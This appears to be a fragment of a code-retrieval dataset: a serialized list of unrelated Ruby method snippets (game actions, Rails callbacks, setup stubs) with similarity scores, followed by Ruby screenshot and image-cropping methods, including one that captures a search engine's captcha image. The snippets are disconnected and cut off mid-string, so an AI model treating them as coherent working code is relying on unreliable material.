$game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
crops a screenshot and reads from relevant sections
def readText(qxd = 915, qyd = 76, axd = 388, ayd = 42, qx0 = 335, qy0 = 659, aAx0 = 366, aAy0 = 765, aDx0 = 913, aDy0 = 840) #for default measurements to function correctly, left edge of game screen should be around 190 pixels in. #r = rand(100000).to_s #system('screencapture /Users/rorycampbell/Documents/smallfrybeta/screenshot' + r + '.jpg') #img = Magick::Image.read('screenshot' + r + '.jpg').first img = Magick::Image.read('screenshotPNI.jpg').first question = img.crop(qx0, qy0, qxd, qyd, true).bilevel_channel(17000) answerA = img.crop(aAx0, aAy0, axd, ayd, true).bilevel_channel(17000) answerB = img.crop(aDx0, aAy0, axd, ayd, true).bilevel_channel(17000) answerC = img.crop(aAx0, aDy0, axd, ayd, true).bilevel_channel(17000) answerD = img.crop(aDx0, aDy0, axd, ayd, true).bilevel_channel(17000) question.write('question.jpg') answerA.write('answerA.jpg') answerB.write('answerB.jpg') answerC.write('answerC.jpg') answerD.write('answerD.jpg') e = Tesseract::Engine.new {|e| e.language = :eng e.blacklist = '|_' } q = e.text_for('question.jpg').strip.gsub(/\n/," ") aA = e.text_for('answerA.jpg').strip aB = e.text_for('answerB.jpg').strip aC = e.text_for('answerC.jpg').strip aD = e.text_for('answerD.jpg').strip qAndA = [] qAndA << q << aA << aB << aC << aD qAndA.each do |text| text.gsub!(')’','y') end return qAndA end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def extract_graphic\n if !Cache.screenshot(@save_number, header).nil?\n bitmap_screenshot = Cache.screenshot(@save_number, header)\n @screenshot.zoom_x = 2\n @screenshot.zoom_y = 2\n else @virtualb = DataManager.load_screenshot(@save_number)\n if @virtualb.nil?\n bitmap_screenshot = black_bitmap\n else\n bitmap_screenshot = @virtualb.get_bitmap\n @screenshot.zoom_x = 2\n @screenshot.zoom_y = 2\n Cache.add_screenshot(@save_number, bitmap_screenshot, header[:key])\n end\n end\n @screenshot.bitmap = bitmap_screenshot\n @screenshot_loaded = false\n @loading_bar.disappear\n end", "def prepare_screenshot(screenshot_name = \"screenshot.png\", is_remove_previous = true, is_crop = true)\n logc(\"method: #{__method__}, params: #{screenshot_name}, #{is_remove_previous}, #{is_crop}\")\n\n remove_screenshot_file if is_remove_previous\n\n $screenshot_file_path = take_screenshot_faster(File.join(@report_path, screenshot_name))\n\n crop_image($screenshot_file_path) if is_crop\n\n logc(\"screenshot saved: #{$screenshot_file_path}\")\n return $screenshot_file_path\nend", "def extract_cover\n puts 'Extract front cover'\n extract_png(1, 'cover')\n puts 'Extract back cover'\n extract_png(page_count, 'back')\n end", "def screenshot_as(format, full_page: T.unsafe(nil)); end", "def screenshot rect = CGRect.new(CGPoint.new(0, 0), CGSize.new(-1, -1)),\n path = '~/Desktop'\n require 'accessibility/screen_shooter'\n ScreenShooter.shoot rect.to_rect, path\n end", "def screenshot path = '~/Desktop'\n capture_screen self, path\n end", "def screenshot_large\n screenshot()\n end", "def capture_screenshot\n # Curses is initialized\n window = Curses.stdscr\n old_x = window.curx\n old_y = window.cury\n chars = []\n window.maxy.times do |idx_y|\n window.maxx.times do |idx_x|\n window.setpos idx_y, idx_x\n chars << window.inch\n end\n end\n window.setpos old_y, old_x\n # Build the map of colors per color pair acutally registered\n colors_left_shift = Curses::A_COLOR.to_s(2).match(/^1+(0+)$/)[1].size\n color_pairs = CursesMenu.constants.select { |const| const.to_s.start_with?('COLORS_') }.to_h do |const|\n color_pair = CursesMenu.const_get(const)\n [\n # On Windows using Curses.color_pair can result in bugs [BUG] Unnormalized Fixnum value when using/displaying the value.\n # So for now we depend on the internal algorithm used by color_pair (which is a left shift of the 0 bits of A_COLOR mask)\n # TODO: Uncomment the following when curses will be fixed on Windows\n # Curses.color_pair(color_pair),\n color_pair << colors_left_shift,\n const\n ]\n end\n chars.\n map do |chr|\n {\n char: begin\n (chr & Curses::A_CHARTEXT).chr(Encoding::UTF_8)\n rescue RangeError\n # On Windows curses returns wrong encoded characters.\n # In this case we just force an ASCII version of it.\n (chr & 255).chr(Encoding::UTF_8)\n end,\n color: color_pairs[chr & Curses::A_COLOR] || (chr & Curses::A_COLOR),\n attributes: chr & Curses::A_ATTRIBUTES\n }\n end.\n each_slice(window.maxx).\n to_a\n end", "def screenshot_small\n screenshot(:small)\n end", "def screenshot\n Screenshot.new self\n end", "def create_image_from_screenshot\n type = @desktop_image.split(/\\./).last\n `screencapture -t#{type} -x #@desktop_image`\n end", "def crop_bgimg\n if crop_x.present?\n bgimg.cache_stored_file!\n bgimg.retrieve_from_cache!(bgimg.cache_name)\n bgimg.recreate_versions!\n end\n end", "def with_crop(left, top, right, bottom); end", "def saos\n save_and_open_screenshot\n end", "def screenshot\n dname = Document.name.get[0][0..-5]\n a = File.open(\"/tmp/skim-#{dname}-tmp\",\"a\")\n page = Document.get[0].current_page.get.index.get\n\n curfile = File.last_added(\"#{Home_path}/Desktop/Screen*.png\")\n a << \"#{curfile},#{page}\\n\"\n growl(\"One picture added to wiki notes cache\")\nend", "def screenshot(project_id, screenshot_id)\n c_r Lokalise::Resources::Screenshot, :find, [project_id, screenshot_id]\n end", "def crop\n return unless model.can_be_cropped?\n manipulate! do |image|\n image.combine_options do |command|\n command.crop(model.magick_thumbnail_coordinates)\n end\n image\n end\n end", "def snagScreenshot\n thing = waitForObject(@symbolicName)\n image = grabWidget(thing)\n format = \"PNG\"\n ssName = thing.name + \".\" + format\n ssLoc = Log.testLogLocation\n image.save(ssLoc + ssName, format)\n Log.AppendLog(\"Taking screenshot of: \" + @name + \" symbolicName: \" + @symbolicName + \" and saving to Location: \" + ssLoc)\n return ssName\n end", "def screenshot(name)\n begin\n @screenshots[name] = @browser.screenshot.base64\n rescue StandardError => ex\n @logger.warn(\"Unable to take screenshot '#{name}' due to an error \"\\\n \"(#{ex.class}: #{ex})\")\n end\n end", "def crop!(left: 0, top: 0, width: nil, height: nil)\n manipulate! do |image|\n begin\n do_crop image, left, top, width, height\n rescue VIPS::Error => e\n e.message =~ /extract_area/ ? image : raise(e)\n end\n end\n end", "def take_screenshot(_scenario)\n screenshot_dir = \"#{FigNewton.screenshot_directory}/#{$date_and_time}\"\n FileUtils.mkdir screenshot_dir unless File.directory? screenshot_dir\n encoded_img = @browser.driver.screenshot_as(:base64)\n embed(\"data:image/png;base64,#{encoded_img}\", 'image/png')\nend", "def screen_capture(fileName)\n return $marathon.saveScreenShot(fileName)\nend", "def screen_capture(fileName)\n return $marathon.saveScreenShot(fileName)\nend", "def preview_iphone_image\n dir = File.last_added_dir(Photostream_path) # this might be different between different OSX versions\n curfile = File.last_added(dir)\n if curfile == nil\n fail(\"No screenshots available\")\n else\n `qlmanage -p '#{curfile}'`\n end\nend", "def cmd_screenshot( *args )\n\t\tpath = Rex::Text.rand_text_alpha(8) + \".jpeg\"\n\t\tquality = 50\n\t\tview = true\n\t\t\n\t\tscreenshot_opts = Rex::Parser::Arguments.new(\n\t\t\t\"-h\" => [ false, \"Help Banner.\" ],\n\t\t\t\"-q\" => [ true, \"The JPEG image quality (Default: '#{quality}')\" ],\n\t\t\t\"-p\" => [ true, \"The JPEG image path (Default: '#{path}')\" ],\n\t\t\t\"-v\" => [ true, \"Automatically view the JPEG image (Default: '#{view}')\" ]\n\t\t)\n\t\t\n\t\tscreenshot_opts.parse( args ) { | opt, idx, val |\n\t\t\tcase opt\n\t\t\t\twhen \"-h\"\n\t\t\t\t\tprint_line( \"Usage: screenshot [options]\\n\" )\n\t\t\t\t\tprint_line( \"Grab a screenshot of the current interactive desktop.\" )\n\t\t\t\t\tprint_line( screenshot_opts.usage )\n\t\t\t\t\treturn\n\t\t\t\twhen \"-q\"\n\t\t\t\t\tquality = val.to_i\n\t\t\t\twhen \"-p\"\n\t\t\t\t\tpath = val\n\t\t\t\twhen \"-v\"\n\t\t\t\t\tview = false if ( val =~ /^(f|n|0)/i )\n\t\t\tend\n\t\t}\n\t\t\n\t\tdata = client.ui.screenshot( quality )\n\t\t\n\t\tif( data )\n\t\t\t::File.open( path, 'wb' ) do |fd|\n\t\t\t\tfd.write( data )\n\t\t\tend\n\t\t\n\t\t\tpath = ::File.expand_path( path )\n\t\t\t\n\t\t\tprint_line( \"Screenshot saved to: #{path}\" )\n\t\t\t\n\t\t\tRex::Compat.open_file( path ) if view\n\t\tend\n\t\t\n\t\treturn true\n\tend", "def crop_avatar(args)\n self.crop_x = args[\"crop_x\"]\n self.crop_y = args[\"crop_y\"]\n self.crop_w = args[\"crop_w\"]\n self.crop_h = args[\"crop_h\"]\n avatar.reprocess!\n end", "def take_screenshot(scenario)\r\n scenario_name = \"#{scenario.name}_step\"\r\n sshot_name = \"log/screens/\" + scenario_name +\".png\"\r\n @browser.screenshot.save(sshot_name) rescue nil\r\n embed(sshot_name, 'image/png') rescue nil\r\nend", "def crop_selector driver, selector, image_location\n el = driver.find_element(:css, selector)\n image = MiniMagick::Image.open(image_location)\n image.crop \"#{el.rect.width}x#{el.rect.height}+#{el.rect.x}+#{el.rect.y}\"\n image.write(image_location)\n end", "def extract_thumb(input, output, width, height)\n Image::Editing::ResizeToFill.new(input, output, width, height).run\n end", "def crops(image)\n image = image.to_sym\n if images[image][:styles].blank?\n {}\n else\n images[image][:styles].delete_if{|k,v| k == :sample}\n end\n end", "def take_screenshot(scenario)\r\n screen_name = \"log/screens/\" +scenario.name+\".png\"\r\n page.save_screenshot(screen_name) rescue nil\r\n embed(screen_name, 'image/png') rescue nil\r\nend", "def screenshot\n bridge.element_screenshot @id\n end", "def set_screenshot\n @screenshot = Screenshot.find(params[:id])\n end", "def crop(t, l, b, r)\n orig_w = orig_h = 460\n new_w = r - l\n new_h = t - b\n o_x = l\n o_y = orig_h - t\n geom = \"#{new_w.round}x#{new_h.round}+#{o_x.round}+#{o_y.round}\"\n `convert #{@fn} -crop #{geom} +repage #{@fn}`\n end", "def XOtakeScreenShot()\n\t\tbegin\n\t\t\tif(@brTypeSym== :chrome)\n\t\t\t\twidth = @wwBrws.execute_script(\"return Math.max(document.body.scrollWidth, document.body.offsetWidth, document.documentElement.clientWidth, document.documentElement.scrollWidth, document.documentElement.offsetWidth);\")\n\t\t\t\theight = @wwBrws.execute_script(\"return Math.max(document.body.scrollHeight, document.body.offsetHeight, document.documentElement.clientHeight, document.documentElement.scrollHeight, document.documentElement.offsetHeight);\")\n#\n# Add some pixels on top of the calculated dimensions for good\n# measure to make the scroll bars disappear\n#\n\t\t\t\t@wwBrws.window.resize_to(width+100, height+100)\n\t\t\tend\n\n\t\t\timgName= $gcfd.report_path+@wwBrws.url.tr(\" =%?*/\\\\:&~\",'_')[0..100]+Time.now.to_i.to_s+'.png'\n\t\t\t@wwBrws.screenshot.save imgName\n\t\t\t@screenList << imgName\n\t\t\t$alog.lwrite(('Image saved in '+imgName), 'DEBG')\n\t\t\tres= OK\n\t\trescue\n\t\t\t$alog.lwrite('Problems taking screenshots: '+$!.to_s, 'ERR_') \t\t\t\t#\n\t\t\tres= CRITICAL\n\t\tend\n\t\treturn res\n\tend", "def screenshot(filename)\n platform.screenshot(filename)\n end", "def extract_image(coords)\n @image.crop(*coords, true)\n end", "def extract_image(coords)\n i = @image.crop(*coords, true)\n end", "def save_screenshot(file_name)\n source_image = File.basename(file_name)\n source_image.slice!(/\\.attempt_\\d+/)\n source_image.slice!(/^\\d\\d_/)\n\n FileUtils.cp(File.expand_path(source_image, TEST_IMAGES_DIR), file_name)\n end", "def magick_crop_rect\n [x1, y1, x2-x1, y2-y1]\n end", "def curses_menu_finalize\n @screenshot = capture_screenshot\n super\n end", "def start_load_screenshot\n show_loading_bar\n Thread.new{extract_graphic}\n end", "def crop(crop, input=nil, output=nil)\n inout \"crop=x=%{left}:y=%{top}:w=%{width}:h=%{height}\", input, output, crop\n end", "def testsnapshot(onwindow: false)\n baseImageName = \"AfterDrawSnapshot.jpg\"\n begin\n # 1. Create window or bitmap context. width: 800, height: 600\n bitmapObject = if onwindow\n SmigHelpers.create_window(width: 800, height: 600)\n else\n SmigHelpers.create_bitmapcontext(width: 800, height: 600)\n end\n\n # 2. Try and draw a snapshot\n didThrow = false\n begin\n Smig.perform_command(CommandModule.make_snapshot(bitmapObject,\n snapshottype: :drawsnapshot))\n rescue RuntimeError => e\n # 3. Take note that drawing the snapshot failed.\n didThrow = true\n end\n\n # 3. Continued. Raise an exception if snapshot failed & exception not thrown\n unless didThrow\n raise \"Draw shapshot should have failed as no snapshot has been taken\"\n end\n\n if onwindow\n # Need to initialize the window to having a white background.\n windowRect = MIShapes.make_rectangle(size:{ :width => 800,\n :height => 600 },\n origin: { :x => 0, :y => 0 } )\n whiteColor = MIColor.make_rgbacolor(1.0, 1.0, 1.0)\n drawBackgroundElement = MIDrawElement.new(:fillrectangle)\n drawBackgroundElement.rectangle = windowRect\n drawBackgroundElement.fillcolor = whiteColor\n drawBackgroundCommand = CommandModule.make_drawelement(bitmapObject, \n drawinstructions: drawBackgroundElement)\n Smig.perform_command(drawBackgroundCommand)\n end\n\n # 4. Draw some stuff into the bitmap context.\n points = []\n points.push(MIShapes.make_point(100, 50))\n points.push(MIShapes.make_point(700, 50))\n points.push(MIShapes.make_point(400, 550))\n newPath = MIPath.new\n newPath.add_triangle(points: points)\n drawElement = MIDrawElement.new(:fillpath)\n drawElement.fillcolor = MIColor.make_rgbacolor(0.8, 0.2, 0.1)\n drawElement.arrayofpathelements = newPath\n drawElement.startpoint = points[0]\n drawElementCommand = CommandModule.make_drawelement(bitmapObject, \n drawinstructions: drawElement)\n Smig.perform_command(drawElementCommand)\n # 5. Take a snapshot\n Smig.perform_command(CommandModule.make_snapshot(bitmapObject,\n snapshottype: :takesnapshot))\n # 6. Draw the snapshot into the bitmap context.\n Smig.perform_command(CommandModule.make_snapshot(bitmapObject,\n snapshottype: :drawsnapshot))\n # 7. Draw some more stuff into it\n points = []\n points.push(MIShapes.make_point(100, 550))\n points.push(MIShapes.make_point(700, 550))\n points.push(MIShapes.make_point(400, 50))\n newPath = MIPath.new\n newPath.add_triangle(points: points)\n drawElement = MIDrawElement.new(:fillpath)\n drawElement.fillcolor = MIColor.make_rgbacolor(0.2, 0.7, 0.1)\n drawElement.arrayofpathelements = newPath\n drawElement.startpoint = points[0]\n drawElementCommand = CommandModule.make_drawelement(bitmapObject,\n drawinstructions: drawElement)\n Smig.perform_command(drawElementCommand)\n # 8. Export an image from the bitmap\n tempFile2 = File.join(Dir.tmpdir(), \"BeforeSnapshot.jpg\")\n SmigHelpers.save_image(imagesource: bitmapObject, pathtofile: tempFile2)\n # 9. Draw the snap shot into the bitmap context\n Smig.perform_command(CommandModule.make_snapshot(bitmapObject,\n snapshottype: :drawsnapshot))\n # 10. Save the bitmap context to an image file.\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n SmigHelpers.save_image(imagesource: bitmapObject, pathtofile: tempFile)\n origFile = File.join($compareImageDir, baseImageName)\n\n unless AreImageFilesSame(origFile, tempFile)\n # 11. Report if different.\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts \"Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n Smig.close_object_nothrow(bitmapObject)\n# `open #{tempFile}`\n# `open #{tempFile2}`\n# `open #{origFile}`\n FileUtils.rm_f(tempFile)\n FileUtils.rm_f(tempFile2)\n end\nend", "def crop(rect)\n if self.scale > 1.0\n rect = CGRectMake(rect.origin.x * self.scale,\n rect.origin.y * self.scale,\n rect.size.width * self.scale,\n rect.size.height * self.scale)\n end\n\n cgimage = CGImageCreateWithImageInRect(self.CGImage, rect)\n result = UIImage.imageWithCGImage(cgimage, scale:self.scale, orientation:self.imageOrientation)\n\n return result\n end", "def screencapture(out_folder:, out_file: nil)\n path = \"/plugin_inspect\"\n conn = multipart_connection\n payload = {\n mysubmit: \"Screenshot\",\n passwd: @dev_password,\n archive: Faraday::UploadIO.new(File::NULL, 'application/octet-stream')\n }\n response = conn.post path, payload\n\n path = /<img src=\"([^\"]*)\">/.match(response.body)\n return false unless path\n path = path[1]\n unless out_file\n out_time = /time=([^\"]*)\">/.match(response.body)\n out_ext = /dev.([^\"]*)\\?/.match(response.body)\n out_file = \"dev_#{out_time[1]}.#{out_ext[1]}\" if out_time and out_ext\n out_file = \"dev.jpg\" unless out_file\n end\n\n conn = simple_connection\n\n response = conn.get path\n\n File.open(File.join(out_folder, out_file), \"wb\") do |io|\n io.write(response.body)\n end\n @logger.info \"Screen captured to #{File.join(out_folder, out_file)}\"\n return response.success?\n end", "def clip_again\n a = File.read(\"/tmp/dokuwiki-clip.tmp\")\n page, url, title, onlytext_s = a.split(\"\\n\")\n onlytext = (onlytext_s == 'true' && has_selection)\n\n title = curtitle if (title.strip == \"\") || (url != cururl)\n\n do_clip(page, title, onlytext)\nend", "def create_screenshot(screenshot)\n @sceenshot = Sprite.new(@viewport).set_bitmap(screenshot)\n @sceenshot.set_origin(@viewport.rect.x, @viewport.rect.y)\n @sceenshot.zoom = Graphics.width / screenshot.width.to_f\n end", "def screenshot_and_save_page\n Capybara::Screenshot.screenshot_and_save_page\nend", "def screenshot(path, format, options)\n device = DEVICE_HASH[options[:device]&.to_sym] || DEFAULT_DEVICE\n custom_params = construct_params(path, format, Utils.except!(options, :device))\n result = processor.convert_screenshot @url, device, custom_params\n return unless result\n result['data'].pack('C*')\n end", "def image_by_cropping_to_rect(aRect)\n if aRect.is_a? CGRect\n cropped = CGImageCreateWithImageInRect(self.CGImage, [[aRect.origin.x*self.scale, aRect.origin.y*self.scale], [aRect.size.width*self.scale, aRect.size.height*self.scale]])\n else\n cropped = CGImageCreateWithImageInRect(self.CGImage, [[aRect[0][0]*self.scale, aRect[0][1]*self.scale], [aRect[1][0]*self.scale, aRect[1][1]*self.scale]])\n end\n UIImage.imageWithCGImage(cropped, scale:self.scale, orientation:self.imageOrientation)\n end", "def store_screenshot(path)\n screenshot = screenshots.first\n if (screenshot)\n begin \n variant = screenshot.variant(resize_to_limit: [425, nil], resize_to_fill: [425, 250, { crop: :low }]).processed\n path = variant.blob.service.send(:path_for, variant.key)\n FileUtils.cp(path, \"/Users/jan.prill/Documents/workspace/msp/inviadorepo/web/js/gridsome/inviado/src/assets/images/inviado/#{id}.png\")\n rescue\n p \"There is a problem on #{variant}\"\n end\n end\n end", "def cropper(crop_width, crop_height)\n manipulate! do |img|\n width = img.columns\n height= img.rows\n if width == crop_width and height==crop_height then\n img\n else\n img.crop(width / 2,height / 2,crop_width,crop_height)\n end\n end\n end", "def includes_screenshot?(screenshot_number)\n range.cover?(screenshot_number)\n end", "def recreate_cropped_image\n if file.exists?\n img = ThumbMagick::Image.new(file.path('tocrop'))\n img.\n thumbnail(\"#{ (resize * 100).to_i }%\").\n crop(\"#{crop_w}x#{crop_h}\", crop_x, crop_y).\n write(file.path('cropped'))\n end \n end", "def main\n ImageManip::inspect_image(@image_path)\n dimensions = ImageManip::get_dimensions(@image_path)\n sharp_pixels = get_accidental_pixels(@sharp_path)\n flat_pixels = get_accidental_pixels(@flat_path)\n edits = Hash.new\n edits[:lower_left] = [dimensions[0] / 2, dimensions[1] / 2]\n edits[:rgb_array] = sharp_pixels\n ImageManip::draw_2D_object(@image_path, './new_staff.gif', edits)\n edits[:lower_left] = [dimensions[0] / 3, dimensions[1] / 3]\n edits[:rgb_array] = flat_pixels\n ImageManip::draw_2D_object('./new_staff.gif', './new_staff.gif', edits)\n end", "def capture_screenshot\n screenshot_file = ScreenshotClient.capture(live_url, format: 'JPG')\n\n screenshot = WorkshopProjectScreenshot.new\n screenshot.file.attach(\n io: screenshot_file,\n filename: 'screenshot.jpg'\n )\n\n self.screenshot = screenshot\n end", "def take_captcha(output_file, coord_captcha)\n #-------------------------------------------------------------------------------------------------------------\n # prise du captcha avec canvas, en premiere intention\n #-------------------------------------------------------------------------------------------------------------\n begin\n #prise du screenshot\n @driver.take_screenshot_element_by_id_by_canvas(output_file, @engine_search.css_image_captcha)\n\n rescue Exception => e\n @@logger.an_event.error \"captcha by canvas : #{e.message}\"\n # echec de la prise du captcha avec canvas on essaie avec win32screenshot\n #-------------------------------------------------------------------------------------------------------------\n # prise du captcha avec win32screenshot\n #-------------------------------------------------------------------------------------------------------------\n #creation d'une section critique, car avec win32screenshot on mt en avant plan le browser car on prend\n #une photo du destop ; screener que le browser generait des white & blanc screen\n File.open(File.join($dir_tmp || DIR_TMP, \"screenshot\"), File::RDWR|File::CREAT, 0644) { |f|\n f.flock(File::LOCK_EX)\n begin\n # affiche le browser en premier plan\n @window.restore if window.minimized?\n @window.activate\n @@logger.an_event.debug \"restore de la fenetre du browser\"\n\n @driver.take_screenshot_area(output_file, coord_captcha)\n\n rescue Exception => e\n @@logger.an_event.fatal \"take captcha : #{e.message}\"\n raise Errors::Error.new(BROWSER_NOT_TAKE_CAPTCHA, :values => {:browser => name, :title => title}, :error => e)\n\n else\n\n @@logger.an_event.info \"browser take captcha\"\n\n ensure\n #-------------------------------------------------------------------------------------------------------------\n # cache le browser\n #-------------------------------------------------------------------------------------------------------------\n @window.minimize\n @@logger.an_event.debug \"minimize de la fenetre du browser\"\n\n end\n }\n\n else\n 